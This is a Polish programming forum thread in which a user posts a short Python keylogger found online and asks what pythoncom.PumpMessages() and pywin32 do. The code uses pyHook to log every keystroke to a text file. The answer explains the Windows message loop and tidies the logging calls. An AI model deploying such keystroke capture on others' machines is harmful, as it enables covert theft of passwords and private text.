• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

Do czego służy pythoncom.PumpMessages() i moduł pywin32?

Object Storage Arubacloud
0 głosów
566 wizyt
pytanie zadane 10 stycznia 2019 w Python przez Kuba Jakubowski Gaduła (3,550 p.)

Witam, znalazłem w internecie ten kod:

import pyHook, pythoncom, sys, logging
# feel free to set the file_log to a different file name/location

file_log = 'keyloggeroutput.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Nie mogę nigdzie znaleźć co robi pumpmessages. Na stronie na której to znalazłem nie jest tez napisane po co instalować Pywin32. I byłbym jeszcze wdzięczny gdyby ktoś wytłumaczył mi do czego w skrócie używa się pythoncom'a.

1 odpowiedź

+1 głos
odpowiedź 10 stycznia 2019 przez RafalS VIP (122,820 p.)
wybrane 10 stycznia 2019 przez Kuba Jakubowski
 
Najlepsza

PumpMessages

Pumps all messages for the current thread until a WM_QUIT message. 

Czyli nasłuchujesz windowsowych eventów. Jednym z nich jest event obslugujacy klawisze. Gdybyś tej funkcji nie wywołał to program by się skończył.

Pywin32 jest m.in. dlatego ze nie da sie pobrać samego pythoncom, a pyhook moze miec zaleznosci do pywin32.

Co do samego pythoncoma to spotkalem sie tylko z tą jedną funkcją, ale możesz sprwadzić tutaj przykłady innych użyć modułu:

https://www.programcreek.com/python/index/427/pythoncom

Przykład jest troche dziwny, bo ta linijka:

chr(event.Ascii)

nie robi nic

A wywołanie konfiguracji loggingu w każdym evencie to troche przesada. Można by to zrobić raz o 2 linijki wyzej.

logging.log(10,chr(event.Ascii))

tego tez sie raczej nie uzywa. Ładniej jest:

logging.debug(chr(event.Ascii))

 

komentarz 10 stycznia 2019 przez Kuba Jakubowski Gaduła (3,550 p.)
Dzięki wielkie za odpowiedź.

Podobne pytania

+1 głos
1 odpowiedź 130 wizyt
pytanie zadane 10 kwietnia 2016 w Python przez Daniel Saluter Początkujący (280 p.)
0 głosów
1 odpowiedź 579 wizyt
pytanie zadane 3 kwietnia 2016 w Python przez Daniel Saluter Początkujący (280 p.)

92,584 zapytań

141,434 odpowiedzi

319,671 komentarzy

61,968 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Kolejna edycja największej imprezy hakerskiej w Polsce, czyli Mega Sekurak Hacking Party odbędzie się już 20 maja 2024r. Z tej okazji mamy dla Was kod: pasjamshp - jeżeli wpiszecie go w koszyku, to wówczas otrzymacie 40% zniżki na bilet w wersji standard!

Więcej informacji na temat imprezy znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...